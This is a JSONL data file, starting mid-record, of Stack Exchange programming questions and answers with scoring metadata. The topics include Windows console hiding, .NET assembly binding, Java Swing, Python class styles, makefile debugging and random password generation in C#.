CREATE_DEFAULT_ERROR_MODE | DETACHED_PROCESS;\n        STARTUPINFO startinfo;\n        PROCESS_INFORMATION procinfo;\n        ZeroMemory(&startinfo, sizeof(startinfo));\n        startinfo.cb = sizeof(startinfo);\n        if (!CreateProcess(NULL, argv[0], NULL, NULL, FALSE, dwCreationFlags, NULL, NULL, &startinfo, &procinfo))\n            MessageBox(0, \"CreateProcess() failed :(\", \"\", 0);\n    }\n    exit(0);\n}\n```\n```\nI compiled it with cygwin's gcc - YMMV with MSVC.\nThe second problem is that when run from Explorer, your program will for a split second\ndisplay a console window. There's no programmatic way around this because the console is\ncreated by Windows when the app is launched, before it starts executing. The only thing you can\ndo is, in your installer, make the shortcut to your program with a \"show command\" of\nSW_HIDE (ie. 0). This will only affect the console unless you deliberately honour the wShowWindow field of STARTUPINFO\nin your program, so don't do that.\nI've tested this by hacking cygwin's \"mkshortcut.exe\". How you accomplish\nit in your install program of choice is up to you.\nThe user can still of course run your program by finding the executable in Explorer and\ndouble-clicking it, bypassing the console-hiding shortcut and seeing the brief black flash of a console window. There's nothing you can do about it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.137206"}
{"id": "hf_a7ad505f3891", "question": "<p>Assemblies A and B are privately deployed and strongly named.  Assembly A contains references to Assembly B.  There are two versions of Assembly B: B1 and B2.  I want to be able to indicate for Assembly A that it may bind to either B1 or B2 -- ideally, by incorporating this information into the assembly itself.  What are my options?</p>\n\n<p>I'm somewhat familiar with versioning policy and the way it applies to the GAC, but I don't want to be dependent on these assemblies being in the GAC.</p>\n", "question_body": "", "answer": "You can set version policy in your app.config file.  Alternatively you can manually load these assemblies with a call to\n```\nAssembly.LoadFrom()\n```\nwhen this is done assembly version is not considered.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.173299"}
{"id": "hf_5b02ac694f85", "question": "<p>So I'm refactoring my code to implement more OOP.  I set up a class to hold page attributes.</p>\n\n<pre><code>class PageAtrributes \n{\n  private $db_connection;\n  private $page_title;\n\n    public function __construct($db_connection) \n    {\n        $this-&gt;db_connection = $db_connection;\n        $this-&gt;page_title = '';\n    }\n\n    public function get_page_title()\n    {\n        return $this-&gt;page_title;\n    }\n\n    public function set_page_title($page_title)\n    {\n        $this-&gt;page_title = $page_title;\n    }\n}\n</code></pre>\n\n<p>Later on I call the set_page_title() function like so</p>\n\n<pre><code>function page_properties($objPortal) {    \n    $objPage-&gt;set_page_title($myrow['title']);\n}\n</code></pre>\n\n<p>When I do I receive the error message:</p>\n\n<blockquote>\n  <p>Call to a member function set_page_title() on a non-object</p>\n</blockquote>\n\n<p>So what am I missing?</p>\n", "question_body": "", "answer": "It means that\n```\n$objPage\n```\nis not an instance of an object.  Can we see the code you used to initialize the variable?\nAs you expect a specific object type, you can also make use of\nPHPs type-hinting feature\nDocs\nto get the error when your logic is violated:\n```\n```\nfunction page_properties(PageAtrributes $objPortal) {    \n    ...\n    $objPage->set_page_title($myrow['title']);\n}\n```\n```\nThis function will only accept\n```\nPageAtrributes\n```\nfor the first parameter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.200690"}
{"id": "hf_c3cd6e6033de", "question": "<p>I've got an <code>JComboBox</code> with a custom <code>inputVerifyer</code> set to limit MaxLength when it's set to editable.</p>\n\n<p>The verify method never seems to get called.<br>\nThe same verifyer gets invoked on a <code>JTextField</code> fine.</p>\n\n<p>What might I be doing wrong?</p>\n", "question_body": "", "answer": "Show us a small section of your code.\n```\n```\npackage inputverifier;\n\nimport javax.swing.*;\n\n    class Go {\n    public static void main(String[] args) {\n        java.awt.EventQueue.invokeLater(new Runnable() { public void run() {\n            runEDT();\n        }});\n    }\n    private static void runEDT() {\n        new JFrame(\"combo thing\") {{\n            setLayout(new java.awt.GridLayout(2, 1));\n            add(new JComboBox() {{\n                setEditable(true);\n                setInputVerifier(new InputVerifier() {\n                    @Override public boolean verify(JComponent input) {\n                        System.err.println(\"Hi!\");\n                        return true;\n                    }\n                });\n            }});\n            add(new JTextField());\n            setDefaultCloseOperation(EXIT_ON_CLOSE);\n            pack();\n            setVisible(true);\n        }};\n    }    \n}\n```\n```\nLooks like it's a problem with JComboBox being a composite component.\nI'd suggest avoiding such nasty UI solutions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.224513"}
{"id": "hf_d7ef20ba67ee", "question": "<p>In what scenarios is it better to use a <code>struct</code> vs a <code>class</code> in C++?</p>\n", "question_body": "", "answer": "The differences between a\n```\nclass\n```\nand a\n```\nstruct\n```\nin C++ are:\n```\nstruct\n```\nmembers and base classes/structs are\n```\npublic\n```\nby default.\n```\nclass\n```\nmembers and base classes/structs are\n```\nprivate\n```\nby default.\nBoth classes and structs can have a mixture of\n```\npublic\n```\n,\n```\nprotected\n```\nand\n```\nprivate\n```\nmembers, can use inheritance, and can have member functions.\nI would recommend you:\nuse\n```\nstruct\n```\nfor plain-old-data structures without any class-like features;\nuse\n```\nclass\n```\nwhen you make use of features such as\n```\nprivate\n```\nor\n```\nprotected\n```\nmembers, non-default constructors and operators, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.271519"}
{"id": "hf_50844a8f71de", "question": "<p>Multiple approaches exist to write your unit tests when using Rhino Mocks:</p>\n\n<ul>\n<li>The Standard Syntax</li>\n<li>Record/Replay Syntax</li>\n<li>The Fluent Syntax</li>\n</ul>\n\n<p>What is the ideal and most frictionless way?</p>\n", "question_body": "", "answer": "Interesting question!  My own preference is the for the reflection-based syntax (what I guess you mean by the Standard Syntax).  I would argue that this is the most frictionless, as it does not add much extra code: you reference the stubs directly on your interfaces as though they were properly implemented.\nI do also quite like the Fluent syntax, although this is quite cumbersome.  The Record/Replay syntax is as cumbersome as the Fluent syntax (if not more so, seemingly), but less intuitive (to me at least).  I've only used NMock2, so the Record/Replay syntax is a bit alien to me, whilst the Fluent syntax is quite familiar.\nHowever, as\nthis post\nsuggests, if you prefer separating your expectations from your verifications/assertions, you should opt for the Fluent syntax.  It's all a matter of style and personal preference, ultimately :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.400300"}
{"id": "hf_bebbeaf3792a", "question": "<p>Sending a message from the Unix command line using <code>mail TO_ADDR</code> results in an email from <code>$USER@$HOSTNAME</code>. Is there a way to change the \"From:\" address inserted by <code>mail</code>?</p>\n\n<p>For the record, I'm using GNU Mailutils 1.1/1.2 on Ubuntu (but I've seen the same behavior with Fedora and RHEL).</p>\n\n<p>[EDIT]</p>\n\n<pre>\n$ mail -s Testing chris@example.org                                                                  \nCc: \nFrom: foo@bar.org\n\nTesting\n.\n</pre>\n\n<p>yields</p>\n\n<pre>\nSubject: Testing\nTo: &lt;chris@example.org&gt;\nX-Mailer: mail (GNU Mailutils 1.1)\nMessage-Id: &lt;E1KdTJj-00025z-RK@localhost&gt;\nFrom: &lt;chris@localhost&gt;\nDate: Wed, 10 Sep 2008 13:17:23 -0400\n\nFrom: foo@bar.org\n\nTesting\n</pre>\n\n<p>The \"From: foo@bar.org\" line is part of the message body, not part of the header.</p>\n", "question_body": "", "answer": "Here are some options:\nIf you have privelige enough, configure sendmail to do rewrites with the generics table\nWrite the entire header yourself (or mail it to yourself, save the entire message with all headers, and re-edit, and send it with rmail from the command line\nSend directly with sendmail, use the \"-f\" command line flag and don't include your \"From:\" line in your message\nThese aren't all exactly the same, but I'll leave it to you look into it further.\nOn my portable, I have sendmail authenticating as a client to an outgoing mail server and I use generics to make returning mail come to another account.  It works like a charm.\nI aggregate incoming mail with fetchmail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.424303"}
{"id": "hf_eac30f254737", "question": "<p>I have a large legacy codebase with very complicated makefiles, with lots of variables.  Sometimes I need to change them, and I find that it's very difficult to figure out why the change isn't working the way I expect.  What I'd like to find is a tool that basically does step-through-debugging of the \"make\" process, where I would give it a directory, and I would be able to see the value of different variables at different points in the process.  None of the debug flags to make seem to show me what I want, although it's possible that I'm missing something.  Does anyone know of a way to do this?</p>\n", "question_body": "", "answer": "Have you been looking at the output from running\n```\nmake -n\n```\nand\n```\nmake -np\n```\n, and the biggie\n```\nmake -nd\n```\n?\nAre you using a fairly recent version of\n```\ngmake\n```\n?\nHave you looked at the free chapter on\nDebugging Makefiles\navailable on O'Reilly's site for their excellent book \"Managing Projects with GNU Make\" (\nAmazon Link\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.459955"}
{"id": "hf_33ccce6f9482", "question": "<p>For example, I want to populate a gridview control in an ASP.NET web page with only the data necessary for the # of rows displayed. How can NHibernate support this?</p>\n", "question_body": "", "answer": "How about using Linq to NHibernate as discussed in\nthis blog post\nby Ayende?\nCode Sample:\n```\n```\n(from c in nwnd.Customers select c.CustomerID)\n        .Skip(10).Take(10).ToList();\n```\n```\nAnd here is a detailed post by the NHibernate team blog on\nData Access With NHibernate\nincluding implementing paging.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.483861"}
{"id": "hf_05060918e7dd", "question": "<p>In C# WinForms, what's the proper way to get the backward/forward history stacks for the System.Windows.Forms.WebBrowser?</p>\n", "question_body": "", "answer": "It doesn't look like it's possible.\nMy suggestion would be to catch the\nNavigated\nevent and maintain your own list. A possible problem with that is when the user clicks\nback\nin the browser, you don't know to unwind the stack.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.515831"}
{"id": "hf_4c21d0629919", "question": "<p>Does anyone know of a good (preferably open source) library for dealing with the Modbus protocol? I have seen a few libraries, but I am looking for some people's personal experiences, not just the top ten Google hits. I figure there has to be at least one other person who deals with PLCs and automation hardware like I do out there.</p>\n\n<p>Open to any other materials that might have been a help to you as well...</p>\n", "question_body": "", "answer": "I have done a lot of communication with devices for the past few years, since I work for a home automation company, but we don't use Modbus.  We do communication in a standard and open way using Web Services for Devices(WSD) which is also know as\nDevices Profile for Web Services(DPWS)\n.\nDuring this time at one point, I did hear of a project called\nNModbus\n.  It is an open source library for working with modbus.  I have not used it, but looking at the site and the\nchangesets\non Google Code, it looks pretty active.  You may want to give it a look and even get involved in.  This is the only library that I have heard of that targets .Net.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.663753"}
{"id": "hf_acd639d3813e", "question": "<p>What is the difference between old style and new style classes in Python?  When should I use one or the other?</p>\n", "question_body": "", "answer": "From\nNew-style and classic classes\n:\nUp to Python 2.1, old-style classes were the only flavour available to the user.\nThe concept of (old-style) class is unrelated to the concept of type:\n  if\n```\nx\n```\nis an instance of an old-style class, then\n```\nx.__class__\n```\ndesignates the class of\n```\nx\n```\n, but\n```\ntype(x)\n```\nis always\n```\n<type\n  'instance'>\n```\n.\nThis reflects the fact that all old-style instances, independently of\n  their class, are implemented with a single built-in type, called\n  instance.\nNew-style classes were introduced in Python 2.2 to unify the concepts of class and type\n. \n  A new-style class is simply a user-defined type, no more, no less.\nIf x is an instance of a new-style class, then\n```\ntype(x)\n```\nis typically\n  the same as\n```\nx.__class__\n```\n(although this is not guaranteed – a\n  new-style class instance is permitted to override the value returned\n  for\n```\nx.__class__\n```\n).\nThe major motivation for introducing new-style classes is to provide a unified object model with a full meta-model\n.\nIt also has a number of immediate benefits, like the ability to\n  subclass most built-in types, or the introduction of \"descriptors\",\n  which enable computed properties.\nFor compatibility reasons, classes are still old-style by default\n.\nNew-style classes are created by specifying another new-style class\n  (i.e. a type) as a parent class, or the \"top-level type\" object if no\n  other parent is needed.\nThe behaviour of new-style classes differs from that of old-style\n  classes in a number of important details in addition to what type\n  returns.\nSome of these changes are fundamental to the new object model, like\n  the way special methods are invoked. Others are \"fixes\" that could not\n  be implemented before for compatibility concerns, like the method\n  resolution order in case of multiple inheritance.\nPython 3 only has new-style classes\n.\nNo matter if you subclass from\n```\nobject\n```\nor not, classes are new-style\n  in Python 3.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.734856"}
{"id": "hf_ede55176a00a", "question": "<p>What's the easiest way to print a stacktrace from a debugging printout? Often during testing you would like to know the callstack leading up to the situation provoking a debug message.</p>\n", "question_body": "", "answer": "You should be catching the exception in a try-catch block.\n```\n```\ne.getStackTrace();\n```\n```\nThat returns StackTraceElement[] that you can then interpret.\nAlso:\n```\n```\ne.printStackTrace()\n```\n```\nwill...print the stacktrace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.770954"}
{"id": "hf_eebb7a58af5a", "question": "<p>I have an <code>ArrayList&lt;String&gt;</code> that I'd like to return a copy of.  <code>ArrayList</code> has a clone method which has the following signature:</p>\n\n<pre><code>public Object clone()\n</code></pre>\n\n<p>After I call this method, how do I cast the returned Object back to <code>ArrayList&lt;String&gt;</code>?</p>\n", "question_body": "", "answer": "```\n```\nArrayList first = new ArrayList ();\nArrayList copy = (ArrayList) first.clone ();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.819523"}
{"id": "hf_3ea765d75c84", "question": "<p>Is it possible, in Java, to make a <code>JPanel</code> skip drawing its background thus being transparent except for the components on it?</p>\n", "question_body": "", "answer": "```\nsetOpaque(false)\n```\nIt'll pass off painting the background to its parent, which may draw its own background.\nYou can do a screen capture and then use that to paint the background of the panel.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.842852"}
{"id": "hf_b4a64d4a194a", "question": "<p>Which scenarios, areas of an application/system, etc. are best suited for 'classic' state based testing versus using mock objects?</p>\n", "question_body": "", "answer": "You should be using mocks for dependencies.  I don't think that its an either-or; Usually you will create mocks for dependencies, set expectations (whether it is calls or state) on them, then run the unit under test.  Then you would check its state, and verify the expectations on the mocks, afterwards.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.881046"}
{"id": "hf_344fae5edec0", "question": "<p>How would I go about replacing Windows Explorer with a third party tool such as TotalCommander, explorer++, etc?</p>\n\n<p>I would like to have one of those load instead of win explorer when I type \"C:\\directoryName\" into the run window. Is this possible?</p>\n", "question_body": "", "answer": "From a comment on the first LifeHacker link,\nHow to make x² your default folder application\nAs part of the installation process, x² adds \"open with xplorer2\" in the context menu for\nfilesystem folders.\nIf you want to have this the default action (so that folders always open in x2 when you click on\nthem) then make sure this is the default verb, either using Folder Options (\"file folder\" type) or\nediting the registry:\n```\n```\n[HKEY_CLASSES_ROOT\\Directory\\shell]\n@=\"open_x2\"\n```\n```\nIf you want some slightly different command line options, you can add any of the supported\noptions by editing the following registry key:\n```\n```\n[HKEY_CLASSES_ROOT\\Directory\\shell\\open\\command]\n@=\"C:\\Program files\\zabkat\\xplorer2\\xplorer2_UC.exe\" /T /1 \"%1\"\n```\n```\nNotes:\nPlease check your installation folder first: Your installation path may be different.\nSecondly, your executable may be called\n```\nxplorer2.exe\n```\n, if it is the non-Unicode version.\nNote that\n```\n\"%1\"\n```\nis required (including the quotation marks), and is replaced by the folder path you are trying to open.\nThe\n```\n/T\n```\nswitch causes no tabs to be restored and the\n```\n/1\n```\nswitch puts x² in single pane mode. (You do not have to use these switches, but they make sense).\n(The above are from xplorer2 user manual)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.943341"}
{"id": "hf_273a9ab1f044", "question": "<p>Is it possible to change the hostname in Windows 2003 from the command line with out-of-the-box tools?</p>\n", "question_body": "", "answer": "I don't know of a command to do this, but you could do it in VBScript or something similar.\nSomthing like:\n```\n```\nsNewName = \"put new name here\" \n\nSet oShell = CreateObject (\"WSCript.shell\" ) \n\nsCCS = \"HKLM\\SYSTEM\\CurrentControlSet\\\" \nsTcpipParamsRegPath = sCCS & \"Services\\Tcpip\\Parameters\\\" \nsCompNameRegPath = sCCS & \"Control\\ComputerName\\\" \n\nWith oShell \n.RegDelete sTcpipParamsRegPath & \"Hostname\" \n.RegDelete sTcpipParamsRegPath & \"NV Hostname\" \n\n.RegWrite sCompNameRegPath & \"ComputerName\\ComputerName\", sNewName \n.RegWrite sCompNameRegPath & \"ActiveComputerName\\ComputerName\", sNewName \n.RegWrite sTcpipParamsRegPath & \"Hostname\", sNewName \n.RegWrite sTcpipParamsRegPath & \"NV Hostname\", sNewName \nEnd With ' oShell \n\nMsgBox \"Computer name changed, please reboot your computer\"\n```\n```\nOriginal", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.005289"}
{"id": "hf_e63250861b38", "question": "<p>When a user on our site loses his password and heads off to the Lost Password page we need to give him a new temporary password. I don't really mind how random this is, or if it matches all the \"needed\" strong password rules, all I want to do is give them a password that they can change later.</p>\n\n<p>The application is a Web application written in C#. so I was thinking of being mean and going for the easy route of using part of a Guid. i.e.</p>\n\n<pre><code>Guid.NewGuid().ToString(\"d\").Substring(1,8)\n</code></pre>\n\n<p>Suggesstions? thoughts?</p>\n", "question_body": "", "answer": "This is a lot larger, but I think it looks a little more comprehensive:\nhttp://www.obviex.com/Samples/Password.aspx\n```\n```\n///////////////////////////////////////////////////////////////////////////////\n// SAMPLE: Generates random password, which complies with the strong password\n//         rules and does not contain ambiguous characters.\n//\n// To run this sample, create a new Visual C# project using the Console\n// Application template and replace the contents of the Class1.cs file with\n// the code below.\n//\n// THIS CODE AND INFORMATION IS PROVIDED \"AS IS\" WITHOUT WARRANTY OF ANY KIND,\n// EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED\n// WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR PURPOSE.\n// \n// Copyright (C) 2004 Obviex(TM). All rights reserved.\n// \nusing System;\nusing System.Security.Cryptography;\n\n/// <summary>\n/// This class can generate random passwords, which do not include ambiguous \n/// characters, such as I, l, and 1. The generated password will be made of\n/// 7-bit ASCII symbols. Every four characters will include one lower case\n/// character, one upper case character, one number, and one special symbol\n/// (such as '%') in a random order. The password will always start with an\n/// alpha-numeric character; it will not start with a special symbol (we do\n/// this because some back-end systems do not like certain special\n/// characters in the first position).\n/// </summary>\npublic class RandomPassword\n{\n    // Define default min and max password lengths.\n    private static int DEFAULT_MIN_PASSWORD_LENGTH  = 8;\n    private static int DEFAULT_MAX_PASSWORD_LENGTH  = 10;\n\n    // Define supported password characters divided into groups.\n    // You can add (or remove) characters to (from) these groups.\n    private static string PASSWORD_CHARS_LCASE  = \"abcdefgijkmnopqrstwxyz\";\n    private static string PASSWORD_CHARS_UCASE  = \"ABCDEFGHJKLMNPQRSTWXYZ\";\n    private static string PASSWORD_CHARS_NUMERIC= \"23456789\";\n    private static string PASSWORD_CHARS_SPECIAL= \"*$-+?_&=!%{}/\";\n\n    /// <summary>\n    /// Generates a random password.\n    /// </summary>\n    /// <returns>\n    /// Randomly generated password.\n    /// </returns>\n    /// <remarks>\n    /// The length of the generated password will be determined at\n    /// random. It will be no shorter than the minimum default and\n    /// no longer than maximum default.\n    /// </remarks>\n    public static string Generate()\n    {\n        return Generate(DEFAULT_MIN_PASSWORD_LENGTH, \n                        DEFAULT_MAX_PASSWORD_LENGTH);\n    }\n\n    /// <summary>\n    /// Generates a random password of the exact length.\n    /// </summary>\n    /// <param name=\"length\">\n    /// Exact password length.\n    /// </param>\n    /// <returns>\n    /// Randomly generated password.\n    /// </returns>\n    public static string Generate(int length)\n    {\n        return Generate(length, length);\n    }\n\n    /// <summary>\n    /// Generates a random password.\n    /// </summary>\n    /// <param name=\"minLength\">\n    /// Minimum password length.\n    /// </param>\n    /// <param name=\"maxLength\">\n    /// Maximum password length.\n    /// </param>\n    /// <returns>\n    /// Randomly generated password.\n    /// </returns>\n    /// <remarks>\n    /// The length of the generated password will be determined at\n    /// random and it will fall with the range determined by the\n    /// function parameters.\n    /// </remarks>\n    public static string Generate(int   minLength,\n                                  int   maxLength)\n    {\n        // Make sure that input parameters are valid.\n        if (minLength <= 0 || maxLength <= 0 || minLength > maxLength)\n            return null;\n\n        // Create a local array containing supported password characters\n        // grouped by types. You can remove character groups from this\n        // array, but doing so will weaken the password strength.\n        char[][] charGroups = new char[][] \n        {\n            PASSWORD_CHARS_LCASE.ToCharArray(),\n            PASSWORD_CHARS_UCASE.ToCharArray(),\n            PASSWORD_CHARS_NUMERIC.ToCharArray(),\n            PASSWORD_CHARS_SPECIAL.ToCharArray()\n        };\n\n        // Use this array to track the number of unused characters in each\n        // character group.\n        int[] charsLeftInGroup = new int[charGroups.Length];\n\n        // Initially, all characters in each group are not used.\n        for (int i=0; i<charsLeftInGroup.Length; i++)\n            charsLeftInGroup[i] = charGroups[i].Length;\n\n        // Use this array to track (iterate through) unused character groups.\n        int[] leftGroupsOrder = new int[charGroups.Length];\n\n        // Initially, all character groups are not used.\n        for (int i=0; i<leftGroupsOrder.Length; i++)\n            leftGroupsOrder[i] = i;\n\n        // Because we cannot use the default randomizer, which is based on the\n        // current time (it will produce the same \"random\" number within a\n        // second), we will use a random number generator to seed the\n        // randomizer.\n\n        // Use a 4-byte array to fill it with random bytes and convert it then\n        // to an integer value.\n        byte[] randomBytes = new byte[4];\n\n        // Generate 4 random bytes.\n        RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider();\n        rng.GetBytes(randomBytes);\n\n        // Convert 4 bytes into a 32-bit integer value.\n        int seed = BitConverter.ToInt32(randomBytes, 0);\n\n        // Now, this is real randomization.\n        Random  random  = new Random(seed);\n\n        // This array will hold password characters.\n        char[] password = null;\n\n        // Allocate appropriate memory for the password.\n        if (minLength < maxLength)\n            password = new char[random.Next(minLength, maxLength+1)];\n        else\n            password = new char[minLength];\n\n        // Index of the next character to be added to password.\n        int nextCharIdx;\n\n        // Index of the next character group to be processed.\n        int nextGroupIdx;\n\n        // Index which will be used to track not processed character groups.\n        int nextLeftGroupsOrderIdx;\n\n        // Index of the last non-processed character in a group.\n        int lastCharIdx;\n\n        // Index of the last non-processed group.\n        int lastLeftGroupsOrderIdx = leftGroupsOrder.Length - 1;\n\n        // Generate password characters one at a time.\n        for (int i=0; i<password.Length; i++)\n        {\n            // If only one character group remained unprocessed, process it;\n            // otherwise, pick a random character group from the unprocessed\n            // group list. To allow a special character to appear in the\n            // first position, increment the second parameter of the Next\n            // function call by one, i.e. lastLeftGroupsOrderIdx + 1.\n            if (lastLeftGroupsOrderIdx == 0)\n                nextLeftGroupsOrderIdx = 0;\n            else\n                nextLeftGroupsOrderIdx = random.Next(0, \n                                                     lastLeftGroupsOrderIdx);\n\n            // Get the actual index of the character group, from which we will\n            // pick the next character.\n            nextGroupIdx = leftGroupsOrder[nextLeftGroupsOrderIdx];\n\n            // Get the index of the last unprocessed characters in this group.\n            lastCharIdx = charsLeftInGroup[nextGroupIdx] - 1;\n\n            // If only one unprocessed character is left, pick it; otherwise,\n            // get a random character from the unused character list.\n            if (lastCharIdx == 0)\n                nextCharIdx = 0;\n            else\n                nextCharIdx = random.Next(0, lastCharIdx+1);\n\n            // Add this character to the password.\n            password[i] = charGroups[nextGroupIdx][nextCharIdx];\n\n            // If we processed the last character in this group, start over.\n            if (lastCharIdx == 0)\n                charsLeftInGroup[nextGroupIdx] = \n                                          charGroups[nextGroupIdx].Length;\n            // There are more unprocessed characters left.\n            else\n            {\n                // Swap processed character with the last unprocessed character\n                // so that we don't pick it until we process all characters in\n                // this group.\n                if (lastCharIdx != nextCharIdx)\n                {\n                    char temp = charGroups[nextGroupIdx][lastCharIdx];\n                    charGroups[nextGroupIdx][lastCharIdx] = \n                                charGroups[nextGroupIdx][nextCharIdx];\n                    charGroups[nextGroupIdx][nextCharIdx] = temp;\n                }\n                // Decrement the number of unprocessed characters in\n                // this group.\n                charsLeftInGroup[nextGroupIdx]--;\n            }\n\n            // If we processed the last group, start all over.\n            if (lastLeftGroupsOrderIdx == 0)\n                lastLeftGroupsOrderIdx = leftGroupsOrder.Length - 1;\n            // There are more unprocessed groups left.\n            else\n            {\n                // Swap processed group with the last unprocessed group\n                // so that we don't pick it until we process all groups.\n                if (lastLeftGroupsOrderIdx != nextLeftGroupsOrderIdx)\n                {\n                    int temp = leftGroupsOrder[lastLeftGroupsOrderIdx];\n                    leftGroupsOrder[lastLeftGroupsOrderIdx] = \n                                leftGroupsOrder[nextLeftGroupsOrderIdx];\n                    leftGroupsOrder[nextLeftGroupsOrderIdx] = temp;\n                }\n                // Decrement the number of unprocessed groups.\n                lastLeftGroupsOrderIdx--;\n            }\n        }\n\n        // Convert password characters into a string and return the result.\n        return new string(password);\n     }\n}\n\n/// <summary>\n/// Illustrates the use of the RandomPassword class.\n/// </summary>\npublic class RandomPasswordTest\n{\n    /// <summary>\n    /// The main entry point for the application.\n    /// </summary>\n    [STAThread]\n    static void Main(string[] args)\n    {\n        // Print 100 randomly generated passwords (8-to-10 char long).\n        for (int i=0; i<100; i++)\n            Console.WriteLine(RandomPassword.Generate(8, 10));\n    }\n}\n//\n// END OF FILE\n///////////////////////////////////////////////////////////////////////////////\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.028545"}
{"id": "hf_039e4f643071", "question": "<p>Is there ever a circumstance in which I would not want to use the <a href=\"http://msdn.microsoft.com/en-us/library/cb8x3kfz.aspx\" rel=\"noreferrer\"><code>AndAlso</code></a> operator rather than the <a href=\"http://msdn.microsoft.com/en-us/library/sdbcfyzh.aspx\" rel=\"noreferrer\"><code>And</code></a> operator?  &hellip;or in which I would not want to use the <a href=\"http://msdn.microsoft.com/en-us/library/ea1sssb2.aspx\" rel=\"noreferrer\"><code>OrElse</code></a> operator rather than the <a href=\"http://msdn.microsoft.com/en-us/library/06s37a7f.aspx\" rel=\"noreferrer\"><code>Or</code></a> operator?</p>\n", "question_body": "", "answer": "Is there ever a circumstance in which I would not want to use the AndAlso operator rather than the And operator?\nSure: if you want to make sure that\nboth\nsides of the expression are evaluated.  This might be the case if, for example, both sides are method calls that return booleans as a result of some other operation that has a side effect.\nBut in general, use\n```\nAndAlso\n```\n/\n```\nOrElse\n```\nwhenever you would use\n```\n&&\n```\n/\n```\n||\n```\nin C/C++/C#, which of course is the vast majority of the time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.076673"}
